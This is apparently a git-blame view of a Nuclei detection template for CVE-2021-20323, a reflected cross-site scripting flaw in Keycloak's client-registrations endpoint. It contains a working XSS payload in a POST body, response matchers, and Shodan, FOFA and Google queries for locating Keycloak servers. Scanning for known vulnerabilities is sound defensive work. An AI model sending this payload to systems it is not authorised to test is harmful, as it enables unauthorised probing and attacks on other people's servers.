2022-12-07 21:34:02 +00:00
id : CVE-2021-20323
info :
2023-01-16 17:41:15 +00:00
name : Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting
2023-12-04 03:45:30 +00:00
author : ndmalc,incogbyte
2022-12-07 21:34:02 +00:00
severity : medium
2022-12-08 05:23:09 +00:00
description : |
2023-01-16 17:41:15 +00:00
Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade Keycloak to a version that is not affected by the vulnerability (10.0.1 or higher).
2022-12-07 21:34:02 +00:00
reference :
- https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
- https://bugzilla.redhat.com/show_bug.cgi?id=2013577
- https://access.redhat.com/security/cve/CVE-2021-20323
- https://github.com/ndmalc/CVE-2021-20323
- https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d
2022-12-08 05:23:09 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-20323
2022-12-07 21:34:02 +00:00
classification :
2022-12-08 05:55:10 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-12-07 21:34:02 +00:00
cve-id : CVE-2021-20323
2022-12-08 05:55:10 +00:00
cwe-id : CWE-79
2024-01-14 13:49:27 +00:00
epss-score : 0.00173
2024-05-31 19:23:20 +00:00
epss-percentile : 0.54333
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
2022-12-08 05:25:41 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 4
2023-07-11 19:49:27 +00:00
vendor : redhat
product : keycloak
2024-06-07 10:04:29 +00:00
shodan-query :
- html:"Keycloak"
- http.title:"keycloak"
- http.html:"keycloak"
- http.favicon.hash:-1105083093
fofa-query :
- title="keycloak"
- icon_hash=-1105083093
- body="keycloak"
2024-05-31 19:23:20 +00:00
google-query : intitle:"keycloak"
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,keycloak,xss,redhat
2022-12-07 21:34:02 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-12-07 21:34:02 +00:00
- method : POST
2022-12-08 05:23:09 +00:00
path :
- "{{BaseURL}}/auth/realms/master/clients-registrations/default"
- "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect"
- "{{BaseURL}}/realms/master/clients-registrations/default"
- "{{BaseURL}}/realms/master/clients-registrations/openid-connect"
2023-07-11 19:49:27 +00:00
body : "{\"Test<img src=x onerror=alert(document.domain)>\":1}"
stop-at-first-match : true
2022-12-07 21:34:02 +00:00
headers :
2022-12-08 05:27:20 +00:00
Content-Type : application/json
2022-12-08 05:23:09 +00:00
2022-12-07 21:34:02 +00:00
matchers-condition : and
matchers :
- type : word
part : body
2022-12-08 05:23:09 +00:00
words :
- 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'
2022-12-07 21:34:02 +00:00
- type : word
2022-12-08 05:23:09 +00:00
part : header
2022-12-07 21:34:02 +00:00
words :
2022-12-08 05:23:09 +00:00
- text/html
2022-12-08 05:25:41 +00:00
- type : status
status :
- 400
2024-06-08 16:02:17 +00:00
# digest: 4b0a00483046022100c9ede27c00ac48f0a01d67e318b0489bb359c454c6d73c172a4e404f1cc236ee022100f0fbbf500a790a70b4e6bdb2baf4fc6387a6aba7284590a636efa848a5c57e51:922c64590222798bb761d5b6d8e72950